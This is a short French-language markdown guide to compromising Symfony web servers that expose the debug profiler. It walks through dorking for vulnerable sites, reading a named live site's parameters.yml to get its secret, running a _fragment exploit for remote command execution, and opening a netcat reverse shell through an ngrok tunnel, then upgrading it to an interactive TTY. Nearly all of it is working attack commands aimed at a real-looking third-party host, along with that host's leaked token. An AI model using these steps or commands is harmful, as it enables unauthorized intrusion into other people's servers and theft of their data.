# Reverse shell symphony server ## Reconnaissance On va commencer par chercher un site vulnérable, pour se faire on va utiliser un script dispo [ici](https://github.com/bizibabe/symfony-check-vuln-google-dorks.git). On lance le script, qui nous sort une liste de serveurs vulnérables. ``` python3 check-symfony.py ``` ![](https://i.imgur.com/PHKunca.png) ici on voit que le site: https://backoffice.gaph.online par exemple est vulnérable. on ouvre l'url : https://backoffice.gaph.online/app_dev.php/_profiler/open?file=app/config/parameters.yml&line=1 ![](https://i.imgur.com/qYExC28.png) On y trouve plusieurs info, dont dont le token qui correspond au secret Il faut maintenant vérifier si le site poutrable, pour se faire on va utiliser un script disponible [ici](https://github.com/ambionics/symfony-exploits) ``` python3 secret_fragment_exploit.py https://backoffice.gaph.online/app_dev.php/_fragment -s 2123c1084eefadce3f275f7427c8721ber ``` !!! info - ajouter _fragment apres app_dev.php/ - -s correspond au token envoyer une commande : ``` python3 secret_fragment_exploit.py https://backoffice.gaph.online/app_dev.php/_fragment -s 2123c1084eefadce3f275f7427c8721ber --method 1 --function shell_exec --parameters cmd:ls ``` Si la commande passe, on peut surement obtenir un reverse shell ## Reverse shell Créer un tunnel Ngrok : ``` ./ngrok tcp 9999 ``` se mettre en mode écoute : ``` nc -lnvp 9999 ``` puis lancer un shell sur le srv distant via la commande **nc -e /bin/sh 6.tcp.ngrok.io 19821** : ``` python3 secret_fragment_exploit.py https://backoffice.gaph.online/app_dev.php/_fragment -s 2123c1084eefadce3f275f7427c8721ber --method 1 --function shell_exec --parameters cmd:'nc -e /bin/sh 6.tcp.ngrok.io 19821' ``` A partir de la on a un reverse shell sur le serveur distant. ## Reverse shell interactif 0) exec bash 1) nc -lnvp 8888 2) python -c 'import pty; pty.spawn("/bin/bash")' 3) CTRL Z 4) stty raw -echo 5) fg (ca va rien écrire c'est normal) 6) reset 7) export TERM=xterm